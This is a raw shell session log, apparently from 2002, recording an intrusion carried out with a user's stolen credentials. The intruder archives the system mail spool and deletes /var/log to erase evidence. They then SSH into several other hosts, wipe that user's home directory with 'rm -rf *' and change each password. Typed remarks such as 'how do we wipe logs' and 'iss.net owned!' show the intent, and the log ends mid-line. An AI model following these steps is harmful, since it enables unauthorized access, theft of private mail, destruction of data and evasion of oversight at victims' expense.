ww bash: ww: command not found sh$ w 3:12PM up 29 days, 21:05, 1 user, load averages: 0.10, 0.19, 0.23 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 2 BitchX -N seiki irc.io.com sh$ cd /tmp sh$ ls -al total 12 drwxrwxrwt 10 root wheel 1024 Jul 17 15:11 . drwxr-xr-x 14 root wheel 512 Jun 18 17:36 .. srwxrwxrwx 1 mysql wheel 0 Jun 17 19:54 mysql.sock drwx------ 2 seiki wheel 512 Jul 8 21:18 ssh-NQzU5526 drwx------ 2 seiki wheel 512 Jul 9 03:12 ssh-Opg19725 drwx------ 2 seiki wheel 512 Jul 16 22:43 ssh-PHO27264 drwx------ 2 seiki wheel 512 Jul 10 12:00 ssh-jPo31138 drwx------ 2 seiki wheel 512 Jul 17 02:24 ssh-rtL17457 drwx------ 2 seiki wheel 512 Jul 17 14:43 ssh-vrYY7733 drwx------ 2 seiki wheel 512 Jul 10 12:06 ssh-yNY29720 -rw-r--r-- 1 root wheel 1307 Jul 17 15:11 t drwxrwxrwx 3 netmunky wheel 512 Jul 17 01:30 uscreens sh$ rm t sh$ tar zcvf mail.tgz /var/mail tar: Removing leading / from absolute path names in the archive var/mail var/mail/root var/mail/netmunky var/mail/seiki var/mail/keith var/mail/thanover var/mail/orange1 var/mail/vixen var/mail/paul var/mail/matrix sh$ w 3:13PM up 29 days, 21:05, 1 user, load averages: 0.18, 0.19, 0.23 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 3 BitchX -N seiki irc.io.com sh$ w 3:13PM up 29 days, 21:06, 1 user, load averages: 0.16, 0.18, 0.23 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 3 BitchX -N seiki irc.io.com sh$ mv mail.tgz ho.tgz sh$ hey billy bash: hey: command not found sh$ ye? what should we do now bash: ye?: command not found sh$ lets rm all of u his shells bash: lets: command not found sh$ chmod 755 ho.tgz sh$ w 3:14PM up 29 days, 21:07, 1 user, load averages: 0.26, 0.21, 0.23 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 4 BitchX -N seiki irc.io.com sh$ ps auxw|grep root|grep sh|grep -v ssh root 31988 0.0 0.0 564 4 p0 R+ 3:15PM 0:00.00 /usr/local/bin/bash root 12467 0.0 0.2 392 284 p0- I 17Jun02 0:00.02 /bin/sh /usr/local/bin/safe_mysqld --user=mysql root 3859 0.0 0.6 592 824 ?? I 3:00PM 0:00.05 tcsh root 23887 0.0 0.5 416 708 ?? I 3:04PM 0:00.02 /usr/local/bin/bash root 6177 0.0 0.7 564 948 p0 Ss 3:08PM 0:00.16 /usr/local/bin/bash root 31265 0.0 0.0 564 4 p0 R+ 3:15PM 0:00.00 grep root (bash) root 31949 0.0 0.0 564 4 p0 R+ 3:15PM 0:00.00 grep sh (bash) sh$ rm ho.tgz sh$ w 3:15PM up 29 days, 21:08, 1 user, load averages: 0.36, 0.23, 0.24 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 5 BitchX -N seiki irc.io.com sh$ you already have his box right? yus bash: you: command not found sh$ sh$ how do we wipe logs bash: how: command not found sh$ w 3:16PM up 29 days, 21:08, 1 user, load averages: 0.30, 0.23, 0.24 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 6 BitchX -N seiki irc.io.com sh$ rm -rf /var/log & [1] 17315 sh$ w 3:17PM up 29 days, 21:09, 1 user, load averages: 0.30, 0.24, 0.25 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 0 BitchX -N seiki irc.io.com [1]+ Done rm -rf /var/log sh$ ssh -l seiki r2d2.reverse.net The authenticity of host 'r2d2.reverse.net (66.252.6.4)' can't be established. DSA key fingerprint is 9e:f9:24:ee:b5:77:c0:b4:fb:85:a9:3e:69:be:6f:ce. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'r2d2.reverse.net,66.252.6.4' (DSA) to the list of known hosts. seiki@r2d2.reverse.net's password: Last login: Mon Jul 15 20:41:12 2002 from 209-102-214-20. FreeBSD 4.6-RELEASE (C3P0) #0: Mon Jul 1 17:56:00 EDT 2002 FreeBSD 4.6-RELEASE (C3P0) #0: Mon Jul 1 17:56:00 EDT 2002 ============================================================================ Efnet: irc.lightning.net:6667, irc.easynews.com:6667, irc.mpls.ca:6667, irc.inet.tele.dk:6667, irc.efnet.pl:6667, irc.flamed.net:6667 Under: eu.undernet.org:6667, us.undernet.org:6667 Dal: eu.dal.net:6667, irc.dal.net:6667 ============================================================================ *** Daily Backups at 09:00 GMT *** ============================================================================ Uptime History: 05/25/2002 - 3:21AM up 77 days, 12:53, load averages: 2.39, 2.92, 3.59 07/10/2002 = 11:24AM up 46 days, 10:23, load averages: 4.96, 5.28, 6.56 ============================================================================ 07/07/2002 - Welcome to C3P0. ============================================================================ commands: make, gmake, irc, BitchX, getbounce, getegg, vhosts, menu HHHHHHHHH 4:20PM up 14 days, 8:17, 10 users, load averages: 0.21, 0.28, 0.59 seiki@c3p0:/staff/seiki> w /usr/bin/w: Permission denied. seiki@c3p0:/staff/seiki> ls -al total 1778 drwx------ 8 seiki seiki 512 Jul 16 11:16 . drwxr-xr-x 34 root wheel 1024 Jul 17 08:43 .. drwx------ 3 seiki seiki 512 Jul 8 15:35 .BitchX -rw------- 1 seiki seiki 242 Jul 15 21:08 .history drwx------ 2 seiki seiki 512 Feb 24 08:31 .ssh -rwx------ 1 seiki seiki 825324 Dec 31 2001 botz.tgz drwx------ 11 seiki seiki 1024 Mar 30 15:00 eggdrop drwx------ 11 seiki seiki 1536 Dec 31 2001 eggdrop1.6.7 -rwx------ 1 seiki seiki 927126 Dec 31 2001 eggdrop1.6.7.tar.gz drwx------ 11 seiki seiki 1024 Dec 31 2001 export drwxr-xr-x 2 seiki seiki 512 Jul 16 11:16 mail seiki@c3p0:/staff/seiki> rm -rf * seiki@c3p0:/staff/seiki> ls -al total 10 drwx------ 4 seiki seiki 512 Jul 17 16:21 . drwxr-xr-x 34 root wheel 1024 Jul 17 08:43 .. drwx------ 3 seiki seiki 512 Jul 8 15:35 .BitchX -rw------- 1 seiki seiki 242 Jul 15 21:08 .history drwx------ 2 seiki seiki 512 Feb 24 08:31 .ssh seiki@c3p0:/staff/seiki> passwd Changing local password for seiki. Old password: New password: Retype new password: passwd: updating the database... passwd: done seiki@c3p0:/staff/seiki> exit logout Connection to r2d2.reverse.net closed. sh$ w 3:18PM up 29 days, 21:10, 1 user, load averages: 0.29, 0.24, 0.25 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 1 BitchX -N seiki irc.io.com sh$ sh$ w 3:18PM up 29 days, 21:11, 1 user, load averages: 0.19, 0.22, 0.24 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 1 BitchX -N seiki irc.io.com sh$ ssh -l seiki krypton.jibh.net The authenticity of host 'krypton.jibh.net (146.20.18.7)' can't be established. DSA key fingerprint is f6:3d:ce:74:b9:e5:08:35:30:18:cf:6f:5e:ff:d2:cf. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'krypton.jibh.net,146.20.18.7' (DSA) to the list of known hosts. seiki@krypton.jibh.net's password: krypton:seiki {1} krypton:seiki {1} w 4:22PM up 41 days, 36 mins, 10 users, load averages: 0.03, 0.04, 0.01 USER TTY FROM LOGIN@ IDLE WHAT seiki p1 user-112009j.dsl Mon04AM - /home/seiki/bin/BitchX james p2 vpn-238.oct.nac. 09Jul02 - - james p5 vpn-238.oct.nac. 10Jul02 - - james p6 vpn-238.oct.nac. 26Jun02 20days - james p7 vpn-238.oct.nac. 26Jun02 - - james p8 vpn-238.oct.nac. 26Jun02 43 - tim pb 168-103-152-54.d 1:13PM 4 - james pc vpn-238.oct.nac. Thu01AM 2:22 - miclik pe ool-18bef948.dyn Mon05PM 1day - seiki pg 209-102-214-20.i 4:22PM - w krypton:seiki {2} krypton:seiki {2} krypton:seiki {2} krypton:seiki {2} ls -al total 2535 drwx------ 7 seiki seiki 512 Jul 17 16:21 . drwxr-xr-x 15 root wheel 512 Jul 16 02:39 .. drwx------ 5 seiki seiki 512 Jul 17 13:36 .BitchX -rwx------ 1 seiki seiki 0 Jun 20 15:47 .addressbook -rwx------ 1 seiki seiki 2285 Jun 20 15:47 .addressbook.lu -rwx------ 1 seiki seiki 992 Jun 2 04:50 .cshrc -rwx------ 1 seiki seiki 14 Mar 11 12:07 .forward -rwx------ 1 seiki seiki 0 Mar 11 12:07 .hushlogin -rwx------ 1 seiki seiki 193 Jun 2 04:50 .login -rwx------ 1 seiki seiki 165 Mar 11 11:44 .login_conf -rwx------ 1 seiki seiki 371 Mar 11 11:44 .mail_aliases -rwx------ 1 seiki seiki 331 Mar 11 11:44 .mailrc -rwx------ 1 seiki seiki 14616 Jun 20 15:44 .pinerc -rwx------ 1 seiki seiki 508 Mar 11 11:44 .profile -rwx------ 1 seiki seiki 276 Mar 11 11:44 .rhosts -rwx------ 1 seiki seiki 16 Mar 12 22:07 .screenrc -rwx------ 1 seiki seiki 852 Mar 11 11:44 .shrc drwx------ 2 seiki seiki 512 Apr 25 19:50 .ssh drwx------ 12 seiki seiki 1024 Jul 15 03:48 BitchX -rw-r--r-- 1 seiki seiki 8715 Jul 16 19:39 SentinelX-0.51.tar.gz -rw-r--r-- 1 seiki seiki 2702 Jul 17 16:21 acl drwx------ 2 seiki seiki 512 Jul 15 03:58 bin -rwx------ 1 seiki seiki 2533621 Jul 10 13:19 ircii-pana-1.0c19.tar.gz drwx------ 2 seiki seiki 512 Jun 20 15:44 mail krypton:seiki {3} rm -rf * krypton:seiki {4} passwd Changing local password for seiki. Old password: New password: Retype new password: passwd: updating the database... passwd: done krypton:seiki {5} exit logout Connection to krypton.jibh.net closed. sh$ w 3:19PM up 29 days, 21:12, 1 user, load averages: 0.11, 0.19, 0.23 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 2 BitchX -N seiki irc.io.com sh$ w 3:20PM up 29 days, 21:12, 1 user, load averages: 0.17, 0.20, 0.23 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 3 BitchX -N seiki irc.io.com sh$ sh$ ssh -l seiki synnergy.net The authenticity of host 'synnergy.net (212.204.249.161)' can't be established. RSA key fingerprint is 53:81:98:73:1f:ae:32:73:c5:48:e4:38:ee:37:ce:45. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'synnergy.net,212.204.249.161' (RSA) to the list of known hosts. seiki@synnergy.net's password: Last login: Wed Jul 17 04:05:06 2002 from user-1121p7p.dialup.mindspring.com OpenBSD 3.1 (GENERIC) #0: Thu Jun 20 09:18:56 CEST 2002 _________ .__ ___. / _____/__.__. ____ | | _____ \_ |__ ______ \_____ < | |/ \| | \__ \ | __ \ / ___/ / \___ | | \ |__/ __ \| \_\ \\___ \ /_______ / ____|___| /____(____ /___ /____ > \/\/ \/ \/ \/ \/ [seiki@foo] ~$ w 10:24PM up 8:28, 3 users, load averages: 0.18, 0.16, 0.16 USER TTY FROM LOGIN@ IDLE WHAT dethy p0 p235-tnt3.syd.ih 2:38PM 4:49 screen -r rwx p1 217-126-179-35.u 6:44PM 28 screen -R seiki p6 209-102-214-20.i 10:24PM 0 w [seiki@foo] ~$ [seiki@foo] ~$ look at these gay fucks usage: look [-df] [-t char] string [file] [seiki@foo] ~$ ls -al total 3620 drwx------ 9 seiki seiki 512 Jan 1 2002 ./ drwxr-xr-x 14 root wheel 512 Jun 18 08:06 ../ drwx------ 3 seiki seiki 512 Jul 16 05:02 .BitchX/ -rwx------ 1 seiki seiki 0 Aug 6 2001 .addressbook* -rwx------ 1 seiki seiki 2285 Aug 6 2001 .addressbook.lu* -rwx------ 1 seiki seiki 5102 Jul 17 05:08 .bash_history* -rwx------ 1 seiki seiki 221 Jun 5 2001 .inputrc* -rwx------ 1 seiki seiki 9418 Oct 1 2001 .pine-debug1* -rwx------ 1 seiki seiki 9467 Oct 1 2001 .pine-debug2* -rwx------ 1 seiki seiki 8808 Oct 1 2001 .pine-debug3* -rwx------ 1 seiki seiki 9173 Oct 1 2001 .pine-debug4* -rwx------ 1 seiki seiki 14477 Oct 1 2001 .pinerc* -rwx------ 1 seiki seiki 142 Jun 5 2001 .profile* -rwx------ 1 seiki seiki 16 Jul 27 2001 .screenrc* drwx------ 2 seiki seiki 512 Jul 27 2001 .ssh/ -rwx------ 1 seiki seiki 825324 Jan 1 2002 botz.tgz* -rwx------ 1 seiki seiki 10 Nov 3 2001 dat* drwx------ 11 seiki seiki 1024 Apr 13 21:01 eggdrop/ drwx------ 11 seiki seiki 1024 Jan 1 2002 eggdrop1.6.7/ -rwx------ 1 seiki seiki 927126 Jan 1 2002 eggdrop1.6.7.tar.gz* drwx------ 11 seiki seiki 1024 Jan 1 2002 export/ drwx------ 2 seiki seiki 512 Jun 5 2001 html/ drwx------ 2 seiki seiki 512 Oct 1 2001 mail/ [seiki@foo] ~$ rm -rf * passwd [seiki@foo] ~$ passwd Changing local password for seiki. Old password: New password: Please don't use an all-lower case password. Unusual capitalization, control characters or digits are suggested. New password: Retype new password: [seiki@foo] ~$ exit logout Connection to synnergy.net closed. sh$ w 3:22PM up 29 days, 21:14, 1 user, load averages: 0.26, 0.22, 0.23 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 4 BitchX -N seiki irc.io.com sh$ ssh -l seiki mp3.org The authenticity of host 'mp3.org (209.102.214.25)' can't be established. DSA key fingerprint is 87:19:53:1b:f5:e7:37:5e:2f:1a:5a:b5:b9:b9:ad:e2. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'mp3.org,209.102.214.25' (DSA) to the list of known hosts. seiki@mp3.org's password: Last login: Wed Jul 17 03:09:36 2002 from exodus.elixor.net ************************************************************** A T T E N T I O N ! ************************************************************** This system is for the use of authorized users only. Individuals using this computer system without authority, or in excess of their authority, are subject to having all of their activities on this system monitored and recorded by system personnel. In the course of monitoring individuals improperly using this system, or in the course of system maintenance, the activities of authorized users may also be monitored. Anyone using this system expressly consents to such monitoring and is advised that if such monitoring reveals possible criminal activity, system personnel may provide the evidence of such monitoring to law enforcement officials. UNAUTHORIZED ACCESS IS PROHIBITED BY TITLE 18 UNITED STATES CODE, SECTION 1030 ************************************************************** NEWS: 0 news articles 2 deep-thought:seiki {1} deep-thought:seiki {1} deep-thought:seiki {1} deep-thought:seiki {1} w 3:26pm up 18 days, 19:45, 11 users, load average: 0.37, 0.26, 0.20 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT seiki pts/0 exodus.elixor.ne 3:26pm 0.00s 0.10s 0.04s w ara pts/1 - 1Jul02 5:54m 2:28 2:28 BitchX -p 7000 ara pts/2 - 1Jul02 5days 3:45 3:45 BitchX -H mp3.o ara pts/3 - 1Jul02 5days 0.41s 0.33s -bash chuque pts/5 chuque.colo.alwa 7:42am 3:12m 0.37s 0.29s pine netmunky pts/8 - 2Jul02 30:15 1:27 1:27 BitchX -H mp3.o chuque pts/10 chuque.colo.alwa 7:42am 36.00s 3.37s 3.31s BitchX -n Chuqu darwin pts/13 fusion.generatio 2Jul02 2:16m 0.30s 0.30s -tcsh darwin pts/14 fusion.generatio 2Jul02 9:17 3.50s 3.40s screen root pts/12 custodes.milliwa 12:43pm 2:43m 0.11s 0.11s -bash ara pts/7 208.35.38.11 11:54am 3:32m 0.12s 0.06s screen -D -R deep-thought:seiki {2} deep-thought:seiki {2} mixter sucks mixter: Command not found. deep-thought:seiki {3} ls -al total 1056 drwx--x--x 10 seiki seiki 4096 Jul 9 23:06 . drwxr-xr-x 58 root root 4096 Jul 13 19:26 .. drwx--x--x 4 seiki seiki 4096 Jun 14 00:51 .BitchX -rwx--x--x 1 seiki seiki 0 Apr 19 2000 .addressbook -rwx--x--x 1 seiki seiki 2285 Apr 19 2000 .addressbook.lu -rwx--x--x 1 seiki seiki 973 May 7 02:47 .cshrc drwx--x--x 8 seiki seiki 4096 Feb 12 02:28 .egg -rw-r--r-- 1 seiki seiki 17 Jul 3 20:25 .forward -rwx--x--x 1 seiki seiki 0 Mar 10 14:40 .news_time -rwx--x--x 1 seiki seiki 15336 Jul 3 14:54 .pinerc -rw-r--r-- 1 seiki seiki 16 Jun 5 13:34 .screenrc drwx--x--x 2 seiki seiki 4096 Mar 29 05:12 .ssh -rw------- 1 seiki seiki 3545 Jul 3 20:25 .viminfo drwx--x--x 2 seiki seiki 4096 Feb 12 02:28 bin drwxr-xr-x 3 seiki seiki 4096 Jun 28 10:47 bopm-2.3 -rw-r--r-- 1 seiki seiki 77980 Jun 12 21:33 bopm-2.3.tar.gz drwxr-xr-x 2 seiki seiki 4096 Aug 28 2001 dns -rw-r--r-- 1 seiki seiki 884557 Mar 10 14:56 eggdrop1.6.8.tar.gz drwx------ 2 seiki seiki 4096 Jul 9 23:10 mail -rw-r--r-- 1 seiki seiki 24124 Nov 27 2001 php.ini drwxr-xr-x 8 seiki seiki 4096 Jul 9 01:22 public_html -rw-r--r-- 1 seiki seiki 1465 Jun 5 17:31 temp.txt deep-thought:seiki {4} rm -rf * deep-thought:seiki {5} passwd Changing password for user seiki. Changing password for seiki (current) UNIX password: New UNIX password: BAD PASSWORD: it does not contain enough DIFFERENT characters New UNIX password: Retype new UNIX password: passwd: all authentication tokens updated successfully. deep-thought:seiki {6} w 3:27pm up 18 days, 19:46, 11 users, load average: 0.31, 0.26, 0.20 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT seiki pts/0 exodus.elixor.ne 3:26pm 0.00s 0.13s 0.05s w ara pts/1 - 1Jul02 5:55m 2:28 2:28 BitchX -p 7000 ara pts/2 - 1Jul02 5days 3:45 3:45 BitchX -H mp3.o ara pts/3 - 1Jul02 5days 0.41s 0.33s -bash chuque pts/5 chuque.colo.alwa 7:42am 3:13m 0.37s 0.29s pine netmunky pts/8 - 2Jul02 31:09 1:27 1:27 BitchX -H mp3.o chuque pts/10 chuque.colo.alwa 7:42am 1:30 3.37s 3.31s BitchX -n Chuqu darwin pts/13 fusion.generatio 2Jul02 2:17m 0.30s 0.30s -tcsh darwin pts/14 fusion.generatio 2Jul02 10:11 3.50s 3.40s screen root pts/12 custodes.milliwa 12:43pm 2:44m 0.11s 0.11s -bash ara pts/7 208.35.38.11 11:54am 3:33m 0.12s 0.06s screen -D -R deep-thought:seiki {7} exit logout Connection to mp3.org closed. sh$ sh$ w 3:24PM up 29 days, 21:16, 1 user, load averages: 0.42, 0.29, 0.26 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 0 vi acl sh$ ls -al ~seiki total 833 drwxr-xr-x 8 seiki staff 512 Jul 17 15:24 . drwxr-xr-x 15 root wheel 512 Jun 18 17:55 .. drwx------ 3 seiki staff 512 Jun 18 06:59 .BitchX -rw-r--r-- 1 seiki staff 0 Jul 3 14:53 .addressbook -rw------- 1 seiki staff 2285 Jul 3 14:53 .addressbook.lu -rw-r--r-- 1 seiki staff 769 Jun 16 21:55 .cshrc -rw------- 1 seiki staff 2423 Jul 17 03:31 .history -rw-r--r-- 1 seiki staff 318 Jun 16 21:55 .login -rw-r--r-- 1 seiki staff 105 Jun 16 21:55 .mailrc -rw------- 1 seiki staff 10871 Jul 17 14:54 .pine-debug1 -rw------- 1 seiki staff 10026 Jul 17 00:31 .pine-debug2 -rw------- 1 seiki staff 9993 Jul 16 19:37 .pine-debug3 -rw------- 1 seiki staff 10075 Jul 16 19:34 .pine-debug4 -rw------- 1 seiki staff 14627 Jul 3 14:54 .pinerc -rw-r--r-- 1 seiki staff 201 Jun 16 21:55 .profile -rw------- 1 seiki staff 128 Jun 16 21:55 .rhosts -rw-r--r-- 1 seiki staff 16 Jul 15 01:45 .screenrc drwx------ 2 seiki staff 512 Jul 3 00:57 .ssh -rw-r--r-- 1 seiki staff 2702 Jul 17 15:24 acl -rw------- 1 seiki staff 9919 Jul 16 19:37 dead.letter -rw-r--r-- 1 seiki staff 591107 Jun 18 06:05 ircd-hybrid-6.3.tgz drwx------ 2 seiki staff 512 Jul 17 14:46 mail drwx--x--x 4 seiki staff 512 Jul 15 05:06 public_html drwxr-xr-x 14 seiki staff 512 Jul 10 14:35 tcm-hybrid -rw-r--r-- 1 seiki staff 145088 Jul 10 14:35 tcm-hybrid-3.0.2.tgz drwxr-xr-x 2 seiki staff 512 Jul 15 05:11 weblogs sh$ cat ~seiki/acl 64.94.46.230: hub/mgmt 66.150.99.99: client conn Following two rules would be applied to the outbound interfaces connecting from router to ircd box, on their respective ports ip access-list ircd-client-filters-out permit tcp any gt 1023 any gt 6659 lt 7001 permit tcp any any eq 4400 permit tcp any any eq 5555 permit tcp any any eq 8080 permit tcp any eq 113 any established permit udp 64.94.33.0 0.0.0.63 eq 53 any remark implicit 'deny ip any any' at end of acl ip access-list ircd-mgmt-filters-out permit tcp any any eq 6667 permit tcp any any eq 22 permit tcp any any eq 113 permit tcp any eq 113 any permit udp 64.94.33.0 0.0.0.63 eq 53 any remark implicit 'deny ip any any' at end of acl Following ruleset would be used at the inbound interface of the upstream router, instea of on outbound interfaces facing ircd (probably a better choice) ip access-list ircd-filters-in permit tcp any any eq 6667 <- * see note below permit tcp any gt 1023 host 66.160.99.99 gt 6659 lt 7001 permit tcp any gt 1023 host 66.150.99.99 eq 4400 permit tcp any gt 1023 host 66.150.99.99 eq 5555 permit tcp any gt 1023 host 66.150.99.99 eq 8080 permit tcp any gt 1023 host 66.150.99.99 eq 31337 permit tcp any host 64.94.46.230 eq 22 permit tcp any eq 113 any gt 1023 permit tcp any host 64.94.46.230 eq 113 permit udp 64.94.33.0 0.0.0.63 eq 53 any deny ip any host 66.160.99.99 deny ip any host 64.94.46.230 (* note: when ip address(es) of hub server is discovered, change first line of access list to: permit tcp host ip.of.hub.srvr any eq 6667 or: permit tcp net.blk.of.hub 0.0.0.255 any eq 6667 and add more lines as necessary, for other hub servers.) ----------------------------------------------------------------- ALLOW any tcp/* to 64.94.46.230 tcp/22 any tcp/* to 64.94.46.230 tcp/113 any tcp/* to 66.150.99.99 tcp/113 any tcp/* to 66.150.99.99 tcp/4400 any tcp/* to 66.150.99.99 tcp/5555 any tcp/* to 64.94.46.230 tcp/6667 any tcp/* to 66.150.99.99 tcp/6660-7000 any tcp/* to 66.150.99.99 tcp/8080 any tcp/* to 66.150.99.99 tcp/31337 64.94.33.1 udp/53 to 66.150.99.99 udp/* 64.94.33.33 udp/53 to 66.150.99.99 udp/* 64.94.33.1 udp/53 to 64.94.46.230 udp/* 64.94.33.33 udp/53 to 64.94.46.230 udp/* DENY any */* to 66.150.99.99 any */* to 64.94.46.230 sh$ w 3:24PM up 29 days, 21:17, 1 user, load averages: 0.41, 0.30, 0.26 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 0 vi acl sh$ ls -al /usr/bin/sudo -r-xr-xr-x 1 root bin 110394 Jun 16 20:57 /usr/bin/sudo sh$ sh$ ssh -l seiki damnit.org The authenticity of host 'damnit.org (65.39.95.34)' can't be established. RSA key fingerprint is 00:4a:f9:a4:aa:0d:b4:ed:0d:eb:17:85:e0:5a:ca:a3. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'damnit.org,65.39.95.34' (RSA) to the list of known hosts. seiki@damnit.org's password: Permission denied, please try again. seiki@damnit.org's password: Permission denied, please try again. seiki@damnit.org's password: Permission denied (publickey,password,keyboard-interactive). sh$ sh$ lucky bash: lucky: command not found sh$ w 3:25PM up 29 days, 21:18, 1 user, load averages: 0.32, 0.29, 0.25 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 0 vi acl sh$ sh$ ssh -l seiki ignite.blackened.net The authenticity of host 'ignite.blackened.net (216.66.74.129)' can't be established. RSA key fingerprint is 36:4e:a7:3b:18:50:f5:98:67:83:4d:d0:7a:51:41:78. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'ignite.blackened.net,216.66.74.129' (RSA) to the list of known hosts. seiki@ignite.blackened.net's password: ignite:seiki {1} w 4:29pm up 6 days, 19:10, 16 users, load average: 0.01, 0.02, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT scottv pts/2 12.155.153.202 Sun 6pm 2days 7.81s 7.77s ncftp -u 56k -P retro pts/4 - 3:29am 13:46 32.49s 32.49s epic Retro irc. mute pts/6 64.211.5.140 8:12am 47.00s 0.06s 0.01s screen -dr oli pts/8 - 12:40pm 54.00s 48.71s 48.71s epic Koneko irc oli pts/9 - 12:40pm 9:28 1:15 1:15 epic NawtyNeko mute pts/10 roc-24-58-65-109 10Jul02 8:41m 0.03s 0.03s -bash mute pts/12 - 4:26pm 47.00s 1:58 1:58 BitchX -A KrON oli pts/18 snfn-ngw1.iss.ne 12:40pm 9:28 0.04s 0.02s screen -r 118 oli pts/19 snfn-ngw1.iss.ne 12:40pm 54.00s 0.05s 0.02s screen -r 117 mute pts/7 - 4:26pm 2days 8.43s 8.41s BitchX ln-s irc retro pts/21 209-128-144-122. 2:43am 13:46 0.15s 0.11s screen -r seiki pts/22 209-102-214-20.i 4:29pm 0.00s 0.04s 0.02s w melody pts/24 - Mon12am 14:42 14.71s 14.69s epic Mel-light melody pts/26 - Mon12am 14:36 9.91s 9.89s epic _Melody_ i melody pts/28 melodyy.best.vwh Mon12am 14:42 0.54s 0.49s screen -x melody pts/31 melodyy.best.vwh Mon12am 14:36 0.52s 0.46s screen -x ignite:seiki {2} ls -al total 88 drwx------ 10 seiki seiki 4096 Jul 3 16:24 . drwxr-xr-x 37 root root 4096 Jul 16 17:11 .. -rwx------ 1 seiki seiki 0 Oct 22 2001 .addressbook -rwx------ 1 seiki seiki 2285 Oct 22 2001 .addressbook.lu drwx------ 2 seiki seiki 4096 Nov 3 2001 bin drwx------ 3 seiki seiki 4096 Mar 8 20:51 .BitchX -rwx------ 1 seiki seiki 1003 May 9 18:49 .cshrc drwx------ 11 seiki seiki 4096 Mar 30 15:00 eggdrop -rwx------ 1 seiki seiki 747 Oct 16 2001 .emacs drwxr-xr-x 11 seiki seiki 4096 Dec 29 2001 export -rw-r--r-- 1 seiki seiki 17 Jul 3 16:24 .forward -rwx------ 1 seiki seiki 0 Oct 17 2001 .hushlogin -rw-r--r-- 1 seiki seiki 172 Apr 27 22:24 .KillLog drwx------ 2 seiki seiki 4096 Mar 1 08:43 mail -rw------- 1 seiki seiki 301 Apr 27 22:24 .MsgLog -rwx------ 1 seiki seiki 14545 Mar 1 08:43 .pinerc -rwx------ 1 seiki seiki 3743 Oct 16 2001 .screenrc drwxr-xr-x 3 seiki seiki 4096 Jul 3 16:24 src drwx------ 2 seiki seiki 4096 Oct 17 2001 .ssh drwx------ 3 seiki seiki 4096 Nov 3 2001 stuff -rwx------ 1 seiki seiki 1019 Oct 16 2001 .wl ignite:seiki {3} iss.net, nice iss.net,: Command not found. ignite:seiki {4} rm -rf * ignite:seiki {5} passwd Changing password for seiki (current) UNIX password: New UNIX password: BAD PASSWORD: is too similar to the old one New UNIX password: BAD PASSWORD: it does not contain enough DIFFERENT characters New UNIX password: Retype new UNIX password: passwd: all authentication tokens updated successfully ignite:seiki {6} w 4:30pm up 6 days, 19:11, 16 users, load average: 0.00, 0.01, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT scottv pts/2 12.155.153.202 Sun 6pm 2days 7.81s 7.77s ncftp -u 56k -P retro pts/4 - 3:29am 53.00s 32.49s 32.49s epic Retro irc. mute pts/6 64.211.5.140 8:12am 1:57 0.06s 0.01s screen -dr oli pts/8 - 12:40pm 20.00s 48.72s 48.72s epic Koneko irc oli pts/9 - 12:40pm 10:38 1:15 1:15 epic NawtyNeko mute pts/10 roc-24-58-65-109 10Jul02 8:42m 0.03s 0.03s -bash mute pts/12 - 4:26pm 1:57 1:58 1:58 BitchX -A KrON oli pts/18 snfn-ngw1.iss.ne 12:40pm 10:38 0.04s 0.02s screen -r 118 oli pts/19 snfn-ngw1.iss.ne 12:40pm 20.00s 0.05s 0.02s screen -r 117 mute pts/7 - 4:26pm 2days 8.43s 8.41s BitchX ln-s irc retro pts/21 209-128-144-122. 2:43am 53.00s 0.15s 0.11s screen -r seiki pts/22 209-102-214-20.i 4:29pm 0.00s 0.05s 0.02s w melody pts/24 - Mon12am 26.00s 14.71s 14.69s epic Mel-light melody pts/26 - Mon12am 15:46 9.91s 9.89s epic _Melody_ i melody pts/28 melodyy.best.vwh Mon12am 26.00s 0.54s 0.49s screen -x melody pts/31 melodyy.best.vwh Mon12am 15:46 0.52s 0.46s screen -x ignite:seiki {7} iss.net owned! iss.net: Command not found. ignite:seiki {8} exit logout Connection to ignite.blackened.net closed. sh$ w 3:27PM up 29 days, 21:20, 1 user, load averages: 0.10, 0.20, 0.22 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 2 vi acl sh$ ssh -l seiki complex.antionline.net ssh: complex.antionline.net: no address associated with name sh$ ssh -l seiki vhost.shocking.com The authenticity of host 'vhost.shocking.com (65.117.98.226)' can't be established. RSA key fingerprint is 45:12:fc:63:2a:83:fb:66:cc:4d:41:88:0a:c6:8d:31. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'vhost.shocking.com,65.117.98.226' (RSA) to the list of known hosts. seiki@vhost.shocking.com's password: Permission denied, please try again. seiki@vhost.shocking.com's password: Permission denied, please try again. seiki@vhost.shocking.com's password: Permission denied (publickey,password,keyboard-interactive). sh$ d bash: d: command not found sh$ sh$ w 3:29PM up 29 